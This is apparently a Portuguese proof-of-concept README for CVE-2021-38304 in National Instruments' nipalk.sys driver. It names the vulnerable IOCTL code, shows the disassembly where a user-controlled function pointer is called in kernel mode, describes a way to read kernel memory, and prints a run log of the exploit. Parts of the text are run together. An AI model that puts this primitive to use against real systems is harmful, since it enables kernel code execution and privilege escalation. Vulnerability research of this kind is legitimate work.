
CVE-2021-38304 Prova de Conceito
Este repositório contém uma prova de conceito para uma vulnerabilidade crítica de segurança em versões antigas do driver nipalk.sys da National Instruments. A vulnerabilidade permite execução arbitrária de código e divulgação de memória em modo kernel. Destina-se exclusivamente a pesquisa pessoal.
O driver nipalk.sys trata incorretamente ponteiros fornecidos pelo usuário durante o processamento de uma requisição IOCTL específica. Esta falha permite que um atacante forneça um ponteiro de função que o driver chamará em contexto de kernel com parâmetros controlados.
RCX e RDX durante a chamada de função.RtlCopyMemory, um atacante pode ler memória arbitrária do kernel.A vulnerabilidade surge da falha do driver em validar ponteiros fornecidos por aplicativos em modo de usuário. Durante o processamento do IOCTL 0xABCD03C4, o driver recupera um ponteiro de função de uma estrutura controlada pelo usuário e o invoca sem verificações adequadas:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] é executado no contexto do kernel.RCX e RDX são controlados pelo usuário.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Esta PoC destina-se apenas a fins educacionais.